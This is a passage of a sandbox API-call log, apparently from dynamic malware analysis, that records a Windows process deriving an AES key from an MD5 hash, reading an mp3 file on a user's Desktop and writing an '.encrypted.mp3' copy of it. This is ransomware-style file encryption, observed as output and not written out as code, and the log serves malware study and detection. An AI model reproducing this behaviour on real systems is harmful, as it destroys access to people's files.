lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.656] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.656] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.656] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.656] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.656] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.656] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.656] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0023.656] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.656] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.656] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.656] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.656] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.656] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.656] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.656] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.656] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.656] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.656] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.656] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.656] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.656] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.657] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.657] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.657] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.657] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.657] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.657] CryptCreateHash (in: hProv=0xe8f40633c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0023.657] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.657] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.657] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.657] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.657] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0023.657] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.657] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.657] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.657] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.657] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.657] CryptHashData (hHash=0xe8f40624f0, pbData=0xe8f418b6c0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0023.657] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.657] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.657] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.657] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.657] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.657] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.657] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.657] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.657] CryptDeriveKey (in: hProv=0xe8f40633c0, Algid=0x660e, hBaseData=0xe8f40624f0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062aa0) returned 1 [0023.657] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.657] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.657] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.658] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.658] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.658] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.658] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0023.658] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.658] CryptDestroyHash (hHash=0xe8f40624f0) returned 1 [0023.658] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.659] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.659] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.659] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.659] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.659] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\YPMyrW0Yu.mp3" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\ypmyrw0yu.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0023.659] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.659] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0023.660] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.660] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.660] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.660] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0023.660] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\YPMyrW0Yu.encrypted.mp3" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\ypmyrw0yu.encrypted.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0023.664] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.664] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.664] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.665] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.666] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0023.666] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0023.667] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x3ef5, lpOverlapped=0x0) returned 1 [0023.667] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0023.670] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.670] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.670] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.670] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0023.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.671] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0023.671] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.671] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0023.671] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.672] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.672] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.672] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0023.672] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.672] CryptGetKeyParam (in: hKey=0xe8f4062aa0, dwParam=0x7, pbData=0xe8f4064d50, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d50*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0023.672] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.672] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.672] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.672] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.672] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.672] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.672] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.673] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.673] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.673] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.673] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.673] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.673] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.673] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.673] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.673] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.673] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.673] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.673] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.673] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.673] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.673] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.673] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.673] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.674] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.674] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x13ef5, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x13f00) returned 1 [0023.674] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.674] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.674] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.674] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.674] CharLowerBuffW (in: lpsz="byte[81665]", cchLength=0xb | out: lpsz="byte[81665]") returned 0xb [0023.674] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.676] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.676] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.676] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.677] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.677] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41fc6d0*, pdwDataLen=0xe8f3dfdf68*=0x13ef5, dwBufLen=0x13f00 | out: pbData=0xe8f41fc6d0*, pdwDataLen=0xe8f3dfdf68*=0x13f00) returned 1 [0023.677] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.677] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.677] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.678] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.678] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.678] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.678] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.678] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.678] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.678] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.678] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.678] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.678] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.678] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.678] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.678] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.678] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, 